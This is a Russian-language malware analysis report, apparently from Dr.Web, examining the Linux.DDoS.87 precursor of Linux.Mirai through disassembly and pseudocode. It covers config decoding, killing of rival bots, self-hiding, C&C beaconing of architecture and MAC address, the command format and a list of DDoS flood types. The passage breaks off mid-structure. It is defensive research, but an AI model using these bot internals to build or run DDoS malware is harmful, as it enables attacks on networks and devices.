Dr.WEB

Исследование вредоносных программ семейства Linux.Mirai

«Доктор Веб» предлагает эффективные антивирусные и антиспам-решения как для государственных организаций и крупных компаний, так и для частных пользователей.

Антивирусные решения семейства Dr.Web разрабатываются с 1992 года и неизменно демонстрируют превосходные результаты детектирования вредоносных программ, соответствуют мировым стандартам безопасности. Сертификаты и награды, а также обширная география пользователей свидетельствуют об исключительном доверии к продуктам компании.

Исследование вредоносных программ семейства Linux.Mirai
30.9.2016

«Доктор Веб», Центральный офис в России
125124
Россия, Москва
3-я улица Ямского поля, вл.2, корп.12А

Веб-сайт: http://www.drweb.com/
Телефон: +7 (495) 789-45-87

Информацию о региональных представительствах и офисах Вы можете найти на официальном сайте компании.

Введение

Троянец для ОС Linux, получивший наименование **Linux.Mirai**, имеет целый ряд предшественников. Первая вредоносная программа этого семейства была добавлена в вирусные базы в мае 2016 года и получила наименование **Linux.DDoS.87**. В начале августа появилась новая версия троянца – **Linux.DDoS.89**, а в конце того же месяца вирусные аналитики исследовали собственно **Linux.Mirai**.

Чтобы перейти к описанию интересующего вас троянца, кликните по одной из ссылок ниже:

Описание Linux.DDoS.87

Описание Linux.DDoS.89

Описание Linux.Mirai

Linux.DDoS.87

c129e2a23abe826f808725a0724f12470502a3cc – x86

8fd0d16edf270c453c5b6b2481d0a044a410c7cd – ARM

9ff383309ad63da2caa9580d7d85abeece9b13a0 – ARM

Троянец для ОС Linux, предназначенный для осуществления DDoS-атак. Все версии вредоносной программы используют библиотеку `uClibc.so`. Перед началом цикла приема и выполнения команд троянец вызывает следующие функции:

```
.text:0804B378                  push    1000h           ; size
.text:0804B37D                  call    _malloc
.text:0804B382                   mov     edi, eax         ; buffer for com-
mand
.text:0804B384                  call    fillConfig
.text:0804B389                  call    init_random
.text:0804B38E                  call    runKiller
.text:0804B393                  call    fillCmdHandlers
```

fillConfig

Эта функция отвечает за выделение области памяти, в которой хранится конфигурационная информация. На языке С хранение конфигурации можно описать следующими структурами данных:

```
union {
  char *;
  short *;
  int  *;
} conf_data;

struct conf_entry {
    uint32    number;
    conf_data data;
    uint32    length
}

struct malware_config {
    conf_entry *entries;
    uint32      entries_count;
}
```

Каждое поле конфигурации заполняется следующим образом:

```
Config.entries = realloc(Config.entries, 12 * Config.length + 12);
v0 = &Config.entries[Config.length];
v0->number = 0;
v1 = malloc(4u);
```

```
*v1 = XX;
v1[1] = XX;
v1[2] = XX;
v1[3] = XX;
v0->data = v1;
v2 = Config.entries;
v3 = Config.length + 1;
Config.entries[Config.length].length = 4;
Config.length = v3;
```

Некоторые строки хранятся в закодированном виде в elf-файле, перед записью они раскодируются:

```
.text:0804CA8B                call    _realloc
.text:0804CA90                mov     edx, ds:Config.length
.text:0804CA96                lea     edx, [edx+edx*2]
.text:0804CA99                mov     ds:Config.entries, eax
.text:0804CA9E                lea     esi, [eax+edx*4]
.text:0804CAA1                mov     dword ptr [esi], 0Bh
.text:0804CAA7                mov     [esp+1Ch+size], 49h ; size
.text:0804CAAE                call    _malloc
.text:0804CAB3                mov     edx, 1
.text:0804CAB8                mov     ebx, eax
.text:0804CABA                mov     ecx, offset unk_804FD80
.text:0804CABF                add     esp, 10h
.text:0804CAC2
.text:0804CAC2 loc_804CAC2:                                   ; CODE XREF:
fillConfig+4D0j
.text:0804CAC2                mov     al, [ecx]
.text:0804CAC4                inc     ecx
.text:0804CAC5                xor     eax, 0FFFFFFAFh
.text:0804CAC8                mov     [edx+ebx-1], al
.text:0804CACC                inc     edx
.text:0804CACD                cmp     edx, 4Ah
.text:0804CAD0                jnz     short loc_804CAC2
.text:0804CAD2                mov     eax, ds:Config.length
.text:0804CAD7                mov     ecx, ds:Config.entries
.text:0804CADD                mov     [esi+4], ebx
.text:0804CAE0                lea     edx, [eax+eax*2]
.text:0804CAE3                inc     eax
.text:0804CAE4                mov     dword ptr [ecx+edx*4+8], 49h
.text:0804CAEC                mov     ds:Config.length, eax
```

В исследованном образце в конфигурации сохраняются следующие данные:

Номер	Тип данных	Значение	Назначение
0	uint32	—	IP-адрес управляющего сервера
1	uint 16	—	порт
2	строка	'kami\x00'	выводится в main на stdin при запуске троянца
3	uint 8	1	отправляется на сервер после передачи MAC-адреса
4	4	0x08080808	не используется
5	4	JR**	не используется
6	4	0x06400640	не используется
7	4	0x0300f4d1	не используется
8	строка	"TSource Engine Query"	cmd1 – TSource Engine DDoS
9	строка	"/"	cmd14 default page
10	строка	"www.google.com"	cmd14 default host
11	строка	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"	cmd14 User Agent для запроса
12	строка	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"	cmd14 User Agent для запроса
13	строка	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36"	cmd14 User Agent для запроса
14	строка	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36"	cmd14 User Agent для запроса
15	строка	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56"	не используется
20	строка	"GET "	cmd14 формирование запроса
21	строка	"HTTP/1.1"	cmd14 формирование запроса
22	строка	"Host: "	cmd14 формирование запроса
23	строка	"Connection: keep-alive"	cmd14 формирование запроса

Номер	Тип данных	Значение	Назначение
24	строка	"User-Agent: "	cmd14 формирование запроса
25	строка	"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"	cmd14 формирование запроса
26	строка	"Accept-Encoding: gzip, deflate, sdch"	cmd14 формирование запроса
27	строка	"Accept-Language: en-US,en;q=0.8"	cmd14 формирование запроса
28	строка	"Cookie: "	не используется
29	строка	"/proc/"	используется функцией runKiller
30	строка	"/exe"	используется функцией runKiller
31	строка	"/cwd/"	используется функцией runKiller
33	строка	".shinigami"	используется функциями runKiller, main
100	строка	"gayfgt"	используется функцией runKiller
101	строка	"REPORT %s:%s"	используется функцией runKiller
102	строка	"hello friend 🙂"	используется функцией runKiller
103	строка	"[KTN]"	используется функцией runKiller

Для получения значений из конфигурации в дальнейшем используются следующие функции:

Функция	Назначение
char *get_data_from_config(int number)	возвращает указатель data для conf_entry с номером number
uint32 get_conf_uint32(int number)	возвращает uint32, хранящийся по указателю data для conf_entry с номером number
uint16 get_conf_uint16(int number)	возвращает uint16, хранящийся по указателю data для conf_entry с номером number
uint8 get_conf_uint8(int number)	возвращает uint8, хранящийся по указателю data для conf_entry с номером number

init_random

Функция инициализирует генератор псевдослучайной последовательности. Аналогичные генераторы использовались в троянцах семейства **Linux.BackDoor.Fgt** и **Linux.BackDoor.Tsunami**, однако их реализации различаются.

Функция `init_rand` из **Linux.BackDoor.Fgt**:

```
.text:080481AC init_rand        proc near                ; CODE XREF:
sendUDP+249p
.text:080481AC                                           ; processCmd+1E3p
...
.text:080481AC
.text:080481AC var_4            = dword ptr -4
.text:080481AC arg_0            = dword ptr  8
.text:080481AC
.text:080481AC                  push    ebp
.text:080481AD                  mov     ebp, esp
.text:080481AF                  sub     esp, 10h
.text:080481B2                  mov     eax, [ebp+arg_0]
.text:080481B5                  mov     ds:Q, eax
.text:080481BA                  mov     eax, [ebp+arg_0]
.text:080481BD                  sub     eax, 61C88647h
.text:080481C2                  mov     ds:dword_80599E4, eax
.text:080481C7                  mov     eax, [ebp+arg_0]
.text:080481CA                  add     eax, 3C6EF372h
.text:080481CF                  mov     ds:dword_80599E8, eax
.text:080481D4                  mov     [ebp+var_4], 3
.text:080481DB                  jmp     short loc_8048211
.text:080481DD                                                        ;
-------------------------------------------------------------------------
--
.text:080481DD
.text:080481DD loc_80481DD:                              ; CODE XREF:
init_rand+6Cj
.text:080481DD                  mov     ecx, [ebp+var_4]
.text:080481E0                  mov     eax, [ebp+var_4]
.text:080481E3                  sub     eax, 3
.text:080481E6                  mov     edx, ds:Q[eax*4]
.text:080481ED                  mov     eax, [ebp+var_4]
.text:080481F0                  sub     eax, 2
.text:080481F3                  mov     eax, ds:Q[eax*4]
.text:080481FA                  xor     edx, eax
.text:080481FC                  mov     eax, [ebp+var_4]
.text:080481FF                  xor     eax, edx
.text:08048201                  xor     eax, 9E3779B9h
```

```
.text:08048206                  mov     ds:Q[ecx*4], eax
.text:0804820D                  add     [ebp+var_4], 1
.text:08048211
.text:08048211 loc_8048211:                                     ; CODE XREF:
init_rand+2Fj
.text:08048211                  cmp     [ebp+var_4], 0FFFh
.text:08048218                  jle     short loc_80481DD
.text:0804821A                  leave
.text:0804821B                  retn
.text:0804821B init_rand        endp
```

Функция `init_random` из **Linux.DDoS.87**:

```
.text:0804C090 init_random      proc near               ; CODE XREF: main
+29p
.text:0804C090                                          ; sub_804B930+CFp
.text:0804C090                  push    esi
.text:0804C091                  push    ebx
.text:0804C092                  sub     esp, 4
.text:0804C095                  call    ___libc_getpid
.text:0804C09A                  mov     esi, eax
.text:0804C09C                  call    _getppid
.text:0804C0A1                  sub     esp, 0Ch
.text:0804C0A4                  mov     ebx, eax
.text:0804C0A6                  push    0               ; time
.text:0804C0A8                  call    ___GI_time
.text:0804C0AD                  imul    ebx, eax
.text:0804C0B0                  mov     ecx, 3
.text:0804C0B5                  add     esp, 10h
.text:0804C0B8                  lea     edx, [esi+ebx]
.text:0804C0BB                  mov     ds:random_gen_data, edx
.text:0804C0C1                  lea     eax, [edx-61C88647h]
.text:0804C0C7                  mov     ds:rand1, eax
.text:0804C0CC                  lea     eax, [edx+3C6EF372h]
.text:0804C0D2                  mov     ds:rand2, eax
.text:0804C0D7
.text:0804C0D7 loc_804C0D7:                                     ; CODE XREF:
init_random+6Fj
.text:0804C0D7                  mov     edx, ds:dword_8051694[ecx*4]
.text:0804C0DE                  mov     eax, ecx
.text:0804C0E0                  xor     eax, edx
.text:0804C0E2                  mov     edx, ds:dword_8051698[ecx*4]
.text:0804C0E9                  xor     edx, 9E3779B9h
.text:0804C0EF                  xor     eax, edx
.text:0804C0F1                  mov     ds:random_gen_data[ecx*4], eax
```

```
.text:0804C0F8                  inc     ecx
.text:0804C0F9                  cmp     ecx, 1000h
.text:0804C0FF                  jnz     short loc_804C0D7
.text:0804C101                  pop     eax
.text:0804C102                  pop     ebx
.text:0804C103                  pop     esi
.text:0804C104                  retn
.text:0804C104 init_random      endp
```

runKiller

Эта функция запускает дочерний процесс, предназначенный для поиска в памяти процессов других троянцев и их завершения. Далее описан принцип действия дочернего процесса.

В первую очередь процесс закрывает стандартные потоки **stdin**, **stdout**, **stderr** и извлекает из конфигурации необходимые строки:

```
.text:0804AFAB                  push    STDIN_FILENO    ; fd
.text:0804AFAD                  call    ___libc_close
.text:0804AFB2                   mov     dword ptr [esp+0], STDERR_FILENO ;
fd
.text:0804AFB9                  call    ___libc_close
.text:0804AFBE                   mov     dword ptr [esp+0], STDOUT_FILENO ;
fd
.text:0804AFC5                  call    ___libc_close
.text:0804AFCA                  mov     dword ptr [esp+0], 1Dh
.text:0804AFD1                  call    get_data_from_config
.text:0804AFD6                  mov     dword ptr [esp+0], 1Eh
.text:0804AFDD                  mov     ds:proc, eax
.text:0804AFE2                  call    get_data_from_config
.text:0804AFE7                  mov     dword ptr [esp+0], 1Fh
.text:0804AFEE                  mov     ds:exe, eax
.text:0804AFF3                  call    get_data_from_config
.text:0804AFF8                  mov     dword ptr [esp+0], 21h
.text:0804AFFF                  mov     ds:cwd, eax
.text:0804B004                  call    get_data_from_config
.text:0804B009                  mov     dword ptr [esp+0], 64h
.text:0804B010                  mov     ds:shinigami, eax
.text:0804B015                  call    get_data_from_config
.text:0804B01A                  mov     dword ptr [esp+0], 65h
.text:0804B021                  mov     ds:gayfgt, eax
.text:0804B026                  call    get_data_from_config
.text:0804B02B                  mov     dword ptr [esp+0], 66h
.text:0804B032                  mov     ds:report_fmt, eax
.text:0804B037                  call    get_data_from_config
```

```
.text:0804B03C                  mov     dword ptr [esp+0], 67h
.text:0804B043                  mov     ds:hello_friend, eax
.text:0804B048                  call    get_data_from_config
.text:0804B04D                  mov     ebp, ds:proc
.text:0804B053                  mov     ds:KTN, eax
```

Затем предпринимается попытка открыть следующие файловые объекты:

```
/proc/<PID>/exe
/proc/<PID>/cwd/
```

Если попытка была успешной, устанавливается соответствующий флаг, если хотя бы один объект открыть не удалось, процесс завершает свое выполнение:

```
.text:0804B13F                  cmp     ds:couldOpenExe, 0
.text:0804B146                  jz      short loc_804B158
.text:0804B148                  lea     ebp, [esp+0A3Ch+var_226]
.text:0804B14F                  cmp     ds:couldOpenCWD, 0
.text:0804B156                  jnz     short loc_804B17E
.text:0804B158
.text:0804B158 loc_804B158:                             ; CODE XREF: run-
Killer+1C6j
.text:0804B158                  sub     esp, 0Ch
.text:0804B15B                  push    0               ; status
.text:0804B15D                  call    ___GI_exit
```

Если процесс продолжает работу, после 5-секундной паузы начинается поиск и завершение процессов других троянцев путем чтения в непрерывном цикле содержимого папки `/proc/`:

```
.text:0804B162 read_proc_from_begin:                    ; CODE XREF: run-
Killer+225j
.text:0804B162                  sub     esp, 0Ch
.text:0804B165                  mov     eax, [esp+0A48h+var_A34]
.text:0804B169                  push    eax
.text:0804B16A                  call    ___GI_closedir
.text:0804B16F                  mov     [esp+0A4Ch+fd], 5
.text:0804B176                  call    sleep
.text:0804B17B                  add     esp, 10h
.text:0804B17E
.text:0804B17E loc_804B17E:                             ; CODE XREF: run-
Killer+1D6j
.text:0804B17E                  sub     esp, 0Ch
.text:0804B181                  mov     eax, ds:proc
.text:0804B186                  push    eax             ; filename
.text:0804B187                  call    ___GI_opendir
.text:0804B18C                  mov     [esp+0A4Ch+var_A34], eax
```

```
.text:0804B190                  add     esp, 10h
.text:0804B193
.text:0804B193 read_next_proc_entry:                    ; CODE XREF: run-
Killer+23Aj
.text:0804B193                                           ; runKiller+296j
...
.text:0804B193                  sub     esp, 0Ch
.text:0804B196                  mov     edx, [esp+0A48h+var_A34]
.text:0804B19A                  push    edx
.text:0804B19B                  call    ___GI_readdir
.text:0804B1A0                  add     esp, 10h
.text:0804B1A3                  test    eax, eax
.text:0804B1A5                  jz      short read_proc_from_begin
```

Если в папке, из которой был запущен процесс, обнаруживается файл с именем **.shinigami**, такой процесс не завершается – с использованием этого способа реализовано некое подобие самозащиты:

```
.text:0804B1BC                  push    eax             ; char
.text:0804B1BD                  push    eax             ; int
.text:0804B1BE                  mov     eax, ds:proc
.text:0804B1C3                  push    eax             ; a2
.text:0804B1C4                  push    ebp             ; a1
.text:0804B1C5                  call    strcpy
.text:0804B1CA                  pop     ecx
.text:0804B1CB                  lea     ebx, [ebp+eax+0]
.text:0804B1CF                  pop     eax
.text:0804B1D0                  push    esi             ; a2
.text:0804B1D1                  push    ebx             ; a1
.text:0804B1D2                  call    strcpy
.text:0804B1D7                  add     ebx, eax
.text:0804B1D9                  pop     eax
.text:0804B1DA                  mov     eax, ds:cwd
.text:0804B1DF                  pop     edx
.text:0804B1E0                  push    eax             ; a2
.text:0804B1E1                  push    ebx             ; a1
.text:0804B1E2                  call    strcpy
.text:0804B1E7                  pop     edx
.text:0804B1E8                  pop     ecx
.text:0804B1E9                  mov     ecx, ds:shinigami
.text:0804B1EF                  lea     eax, [ebx+eax]
.text:0804B1F2                  push    ecx             ; a2
.text:0804B1F3                  push    eax             ; a1
.text:0804B1F4                  call    strcpy
.text:0804B1F9                  pop     eax
```

```
.text:0804B1FA                  pop     edx
.text:0804B1FB                  push    0               ; flags
.text:0804B1FD                  push    ebp             ; filename
.text:0804B1FE                  call    ___GI___libc_open
.text:0804B203                  add     esp, 10h
.text:0804B206                  test    eax, eax
.text:0804B208                  js      short kill_if_bot
.text:0804B20A                  sub     esp, 0Ch
.text:0804B20D                  push    eax             ; fd
.text:0804B20E                  call    ___libc_close
.text:0804B213                  add     esp, 10h
.text:0804B216                  jmp     read_next_proc_entry
```

Если файла с именем **.shinigami** в папке, из которой был запущен процесс, нет, выполняется чтение исполняемого файла процесса и в нем ищутся строки из конфигурации с номерами выше 100. В процессе поиска троянец последовательно читает фрагменты файла. Размер фрагмента – 0x800 байт. Если искомое значение окажется на границе буфера, процесс не будет завершен.

fillCmdHandlers

Функция, отвечающая за заполнение структуры, в которой хранятся обработчики команд. Структура выглядит следующим образом:

```
struct cmd {
    char  number;
    void *handler;
}

struct cmd_handlers {
    cmd *handlers;
    char  length;
}
```

Структура заполняется следующим образом:

```
v0 = realloc(handlers.handlers, 8 * handlers.length + 8);
v1 = handlers.length + 1;
handlers.handlers = v0;
v2 = &v0[handlers.length];
v2->number = 0;
v2->func = cmd0_udp_random;
handlers.length = v1;
```

```
v3 = realloc(v0, 8 * v1 + 8);
handlers.handlers = v3;
v4 = handlers.length + 1;
v5 = &v3[handlers.length];
v5->number = 1;
v5->func = cmd1_tsource;
```

В результате формируется следующая таблица команд:

Номер	**Назначение**
15-17	в исследованном образце содержатся функции, которые просто выполняются в бесконечном цикле
14	HTTP flood
9	Transparent Ethernet Bridging в GRE
8	UDP flood overGRE
7	установление TCP-соединения
6	отправка TCP-пакета
4	TCP flood – отправка пакетов со случайными данными
3	TCP flood – отправка пакетов с добавлением TCP options
2	DNS flood
1	TSource flood
0	UDP flood

После выполнения перечисленных выше функций из конфигурации извлекается строка, которая записывается в поток **stdin**:

```
.text:0804B398                mov     dword ptr [esp+0], 2
.text:0804B39F                call    get_data_from_config ; kami
.text:0804B3A4                mov     [esp+0], eax    ; a1
.text:0804B3A7                call    strlen
.text:0804B3AC                mov     dword ptr [esp+0], 2
.text:0804B3B3                mov     ebx, eax
.text:0804B3B5                call    get_data_from_config
.text:0804B3BA                add     esp, 0Ch
.text:0804B3BD                push    ebx             ; len
.text:0804B3BE                push    eax             ; addr
```

```
.text:0804B3BF                  push    1               ; fd
.text:0804B3C1                  call    ___libc_write
.text:0804B3C6                  add     esp, 0Ch
.text:0804B3C9                  push    1               ; int
.text:0804B3CB                  push    offset newline  ; int
.text:0804B3D0                  push    1               ; fd
.text:0804B3D2                  call    ___libc_write
```

Затем троянец затирает собственное имя, чтобы спрятать себя:

```
.text:0804B3D8                  mov     ebp, [esi]      ; esi = argv[0]
.text:0804B3DA                  push    ebp             ; a1
.text:0804B3DB                  call    strlen
.text:0804B3E0                  add     esp, 10h
.text:0804B3E3                  mov     ecx, eax
.text:0804B3E5                  test    eax, eax
.text:0804B3E7                  jle     short loc_804B3F6
.text:0804B3E9                  xor     edx, edx
.text:0804B3EB
.text:0804B3EB loc_804B3EB:                             ; CODE XREF: main
+94j
.text:0804B3EB                  mov     eax, [esi]
.text:0804B3ED                  mov     byte ptr [eax+edx], 0
.text:0804B3F1                  inc     edx
.text:0804B3F2                  cmp     ecx, edx
.text:0804B3F4                  jnz     short loc_804B3EB
```

Далее выполняется запуск дочерних процессов (код упрощен, из него удалены обращения к конфигурации):

```
//here is parent
pid_t child = fork();
(child > 0){
    waitpid(child, &status, 0); //waiting until child die
    exit();
}
if(!child){ //child executing this
    pid_t child2 = fork();
    if(child2 > 0){//we spawn childen - time to die
        exit(); //after this exit() grandpa will die too
    }
}
```

```
pid_t child3 = fork();
if(child3>0){
    v28 = __GI___libc_open(".shinigami", O_CREAT, v30);
    if (v28 >= 0)
        close(v28);
    sleep(...) // one week
    kill(child3);
    exit();
}
payload;
```

В папке троянца создается файл **.shinigami**, чтобы исключить самоудаление троянца. Максимальный срок непрерывной работы **Linux.DDoS.87** на инфицированной машине составляет одну неделю, по истечении которой троянец завершает собственный процесс.

Цикл получения и выполнения команд

После выполнения всех описанных выше действий вредоносный процесс пытается соединиться с управляющим сервером для получения команд:

```
.text:0804B44E                call    ___libc_fork
.text:0804B453                mov     ebx, eax
.text:0804B455                test    eax, eax
.text:0804B457                jg      loc_804B84E
.text:0804B45D                call    ___GI_setsid
.text:0804B462                sub     esp, 0Ch
.text:0804B465                push    0               ; fd
.text:0804B467                call    ___libc_close
.text:0804B46C                mov     dword ptr [esp+0], 1 ; fd
.text:0804B473                call    ___libc_close
.text:0804B478                mov     dword ptr [esp+0], 2 ; fd
.text:0804B47F                call    ___libc_close
.text:0804B484                add     esp, 10h
.text:0804B487                lea     eax, [edi+2]
.text:0804B48A                xor     esi, esi
.text:0804B48C                 mov     [esp+48Ch+ptr_to_third_comm_byte],
eax
.text:0804B490 entry_point_of_payload_execution:        ; CODE XREF: main
+167j
.text:0804B490                                         ; main+17Aj ...
.text:0804B490                mov     edx, esi
.text:0804B492                mov     eax, 1000h
.text:0804B497                and     edx, 0FFFFh
```

```
.text:0804B49D                  push    4000h           ; int
.text:0804B4A2                  sub     eax, edx
.text:0804B4A4                  push    eax             ; int
.text:0804B4A5                  lea     edx, [edi+edx]
.text:0804B4A8                  mov     eax, ds:fd
.text:0804B4AD                  push    edx             ; char *
.text:0804B4AE                  push    eax             ; int
.text:0804B4AF                  call    ___libc_recv
.text:0804B4B4                  add     esp, 10h
.text:0804B4B7                  test    eax, eax
.text:0804B4B9                  jle     recv_failed
.text:0804B4BF                  add     esi, eax
.text:0804B4C1                  cmp     si, 1
.text:0804B4C5                  ja      short recv_ok
.text:0804B4C7                   jmp      short entry_point_of_payload_exe-
cution
```

Если **recv** возвращает ошибку, открывается сокет и его содержимое записывается в глобальную переменную **fd**:

```
.text:0804B553 recv_failed:                             ; CODE XREF: main
+159j
.text:0804B553                  mov     eax, ds:fd
.text:0804B558                  test    eax, eax
.text:0804B55A                  js      short fd_closed_or_uninitialized
.text:0804B55C                  sub     esp, 0Ch
.text:0804B55F                  push    eax             ; fd
.text:0804B560                  call    ___libc_close
.text:0804B565                  add     esp, 10h
.text:0804B568
.text:0804B568 fd_closed_or_uninitialized:              ; CODE XREF: main
+1FAj
.text:0804B568                  push    eax
.text:0804B569                  push    0
.text:0804B56B                  push    1
.text:0804B56D                  push    2
.text:0804B56F                  call    ___GI_socket
.text:0804B574                  add     esp, 10h
.text:0804B577                  mov     ds:fd, eax
```

На операции чтения-записи устанавливается тайм-аут длительностью в минуту:

```
socket_timeout.tv_sec = 60;
socket_timeout.tv_usec = 0;
__GI_setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &socket_timeout, 8);
```

```
__GI_setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &socket_timeout, 8);
```

Далее устанавливается соединение с управляющим сервером:

```
.text:0804B5CE                    mov     [esp+4ACh+cnc_sockaddr.sin_fam-
ily], 2
.text:0804B5D8                add     esp, 14h
.text:0804B5DB                push    0
.text:0804B5DD                call    get_conf_uint32
.text:0804B5E2                mov     dword ptr [esp+0], 1
.text:0804B5E9                                    mov         [esp+49Ch+cnc_sock-
addr.sin_addr.s_addr], eax
.text:0804B5F0                call    get_conf_uint16
.text:0804B5F5                ror     ax, 8
.text:0804B5F9                 mov      [esp+49Ch+cnc_sockaddr.sin_port],
ax
.text:0804B601                add     esp, 0Ch
.text:0804B604                mov     eax, ds:fd
.text:0804B609                push    10h
.text:0804B60B                lea     edx, [esp+494h+cnc_sockaddr]
.text:0804B612                push    edx
.text:0804B613                push    eax
.text:0804B614                call    ___libc_connect
```

Затем сохраняется IP-адрес используемого интерфейса и на сервер отправляется строка, содержащая идентификатор архитектуры зараженного устройства (x86, ARM, MIPS, SPARC, SH-4 или M68K):

```
.text:0804B62F                lea     eax, [esp+490h+status]
.text:0804B636                mov     ecx, ds:fd
.text:0804B63C                push    eax
.text:0804B63D                lea     edx, [esp+494h+var_54]
.text:0804B644                push    edx
.text:0804B645                push    ecx
.text:0804B646                call    ___GI_getsockname
.text:0804B64B                                    mov         eax,  [esp+49Ch
+var_54.sin_addr.s_addr]
.text:0804B652                mov     ds:selfaddr, eax
.text:0804B657                pop     eax
.text:0804B658                pop     edx
.text:0804B659                push    1               ; size
.text:0804B65B                push    20h             ; nmemb
.text:0804B65D                call    _calloc
.text:0804B662                    mov      dword ptr [esp+0], offset a2
; "telnet.x86"
.text:0804B669                mov     ebx, eax
```

```
.text:0804B66B                  call    strlen
.text:0804B670                  add     esp, 0Ch
.text:0804B673                  push    eax             ; a3
.text:0804B674                  push    offset a2       ; "telnet.x86"
.text:0804B679                  push    ebx             ; a1
.text:0804B67A                  call    strncpy
.text:0804B67F                  mov     eax, ds:fd
.text:0804B684                  push    4000h           ; int
.text:0804B689                  push    20h             ; int
.text:0804B68B                  push    ebx             ; char *
.text:0804B68C                  push    eax             ; int
.text:0804B68D                  call    ___libc_send
```

Также на управляющий сервер отсылаются сведения о MAC-адресе сетевой карты:

```
.text:0804B756                  push    edx             ; ifconf *
.text:0804B757                  push    SIOCGIFFLAGS    ; request
.text:0804B75C                  push    esi             ; d
.text:0804B75D                  call    ___GI_ioctl
.text:0804B762                  add     esp, 10h
.text:0804B765                  test    eax, eax
.text:0804B767                  jnz     short loc_804B735
.text:0804B769                  test    byte ptr [esp+48Ch+a1.ifr_ifru], 8
.text:0804B771                  jnz     short loc_804B735
.text:0804B773                  push    eax             ; char *
.text:0804B774                  lea     eax, [esp+490h+a1]
.text:0804B77B                  push    eax             ; ifconf *
.text:0804B77C                  push    SIOCGIFHWADDR   ; request
.text:0804B781                  push    esi             ; d
.text:0804B782                  call    ___GI_ioctl
.text:0804B787                  add     esp, 10h
.text:0804B78A                  test    eax, eax
.text:0804B78C                  jnz     short loc_804B735
.text:0804B78E                  push    esi
.text:0804B78F                  push    6               ; a3
.text:0804B791                  lea     edx, [esp+494h+a1.ifr_ifru+2]
.text:0804B798                  push    edx             ; a2
.text:0804B799                  lea     eax, [esp+498h+macAddr]
.text:0804B7A0                  push    eax             ; a1
.text:0804B7A1                  call    strncpy
.text:0804B7A6                  add     esp, 10h
.text:0804B7A9 loc_804B7A9:                             ; CODE XREF: main
+381j...
.text:0804B7A9                  push    4000h           ; int
.text:0804B7AE                  push    6               ; int
```

```
.text:0804B7B0                  lea     edx, [esp+494h+macAddr]
.text:0804B7B7                  mov     ebx, ds:fd
.text:0804B7BD                  push    edx             ; char *
.text:0804B7BE                  push    ebx             ; int
.text:0804B7BF                  call    ___libc_send
.text:0804B7C4                  mov     dword ptr [esp+0], 3
.text:0804B7CB                  call    get_data_char
.text:0804B7D0                  mov     ecx, ds:fd
.text:0804B7D6                  mov     [esp+49Ch+var_15], al
.text:0804B7DD                  push    4000h           ; int
.text:0804B7E2                  push    1               ; int
.text:0804B7E4                  xor     esi, esi
.text:0804B7E6                  lea     eax, [esp+4A4h+var_15]
.text:0804B7ED                  push    eax             ; char *
.text:0804B7EE                  push    ecx             ; int
.text:0804B7EF                  call    ___libc_send
```

Поступающие с сервера данные записываются в буфер. Если за одну итерацию чтения поступило более одной команды, то они обрабатываются по очереди. Формат присылаемой команды (для числовых полей используется сетевой порядок байтов):

Поле	**Назначение**	**Размер**
fullLength	полная длина присланной команды	2
sleepTime	время на выполнение (каждая команда запускает новый процесс через fork, и через указанное время он будет «убит»)	4
cmd	номер команды	1
hostCount	количество атакуемых хостов	1
target[hostCount]	массив целей	5*hostCount
param_cnt	количество параметров	1
param[param_cnt]	параметры	...

Если поле **fullLength == 0**, то на управляющий сервер будет отослано два нулевых байта:

```
.text:0804B518 recv_ok:                                 ; CODE XREF: main
+165j
.text:0804B518                  mov     ax, [edi]
.text:0804B51B                  ror     ax, 8
.text:0804B51F                  test    ax, ax
.text:0804B522                  jnz     short process_command
```

```
.text:0804B524                  mov     eax, ds:fd
.text:0804B529                  push    4000h           ; int
.text:0804B52E                  push    2               ; int
.text:0804B530                  push    edi             ; char *
.text:0804B531                  push    eax             ; int
.text:0804B532                  call    ___libc_send
.text:0804B537                  add     esp, 0Ch
.text:0804B53A                  sub     esi, 2
.text:0804B53D                  push    0FFFFFFFFh
.text:0804B53F                  push    2
.text:0804B541                  mov     ebp, [esp+498h+ptr_to_third_comm_-
byte]
.text:0804B545                  push    ebp
.text:0804B546                  call    shiftBuffer
.text:0804B54B                  add     esp, 10h
.text:0804B54E                  jmp     entry_point_of_payload_execution
```

Если длина ненулевая, запускается обработчик полученной команды:

```
text:0804B4D0 process_command:                          ; CODE XREF: main
+1C2j
.text:0804B4D0                  cmp     ax, 1
.text:0804B4D4                  jz      short loc_804B4DC
.text:0804B4D6                  cmp     ax, 1000h
.text:0804B4DA                  ja      short entry_point_of_payload_exe-
cution
.text:0804B4DC
.text:0804B4DC loc_804B4DC:                             ; CODE XREF: main
+174j
.text:0804B4DC                  cmp     ax, si
.text:0804B4DF                  ja      short entry_point_of_payload_exe-
cution
.text:0804B4E1                  sub     si, ax
.text:0804B4E4                  mov     ebx, eax
.text:0804B4E6                  and     ebx, 0FFFFh
.text:0804B4EC                  push    edx
.text:0804B4ED                  push    edx
.text:0804B4EE                  lea     eax, [ebx-2]
.text:0804B4F1                  push    eax             ; a2
```

```
.text:0804B4F2                  mov     eax, [esp+498h+ptr_to_third_comm_-
byte]
.text:0804B4F6                  push    eax             ; a1
.text:0804B4F7                  call    process
.text:0804B4FC                  add     esp, 0Ch
.text:0804B4FF                  push    0FFFFFFFFh
.text:0804B501                  push    ebx
.text:0804B502                  lea     ebx, [edi+ebx]
.text:0804B505                  push    ebx
.text:0804B506                  call    shiftBuffer
.text:0804B50B                  add     esp, 10h
.text:0804B50E                  cmp     si, 1
.text:0804B512                  jbe     entry_point_of_payload_execution
```

process

Функция принимает на вход указатель на третий байт полученной команды и ее длину, после чего начинает разбирать аргументы команды и заполнять соответствующие структуры:

```
//структуры, представляющие собой данные, приходящие от сервера
struct target{
    uint32_t ip; //ip цели
    uint8_t  maskbits;  // если указаное число <=31, то целью будут
случайные хосты, полученные из ip случайной генерацией младших бит
maskbits
}


struct param{
    uint8_t id;
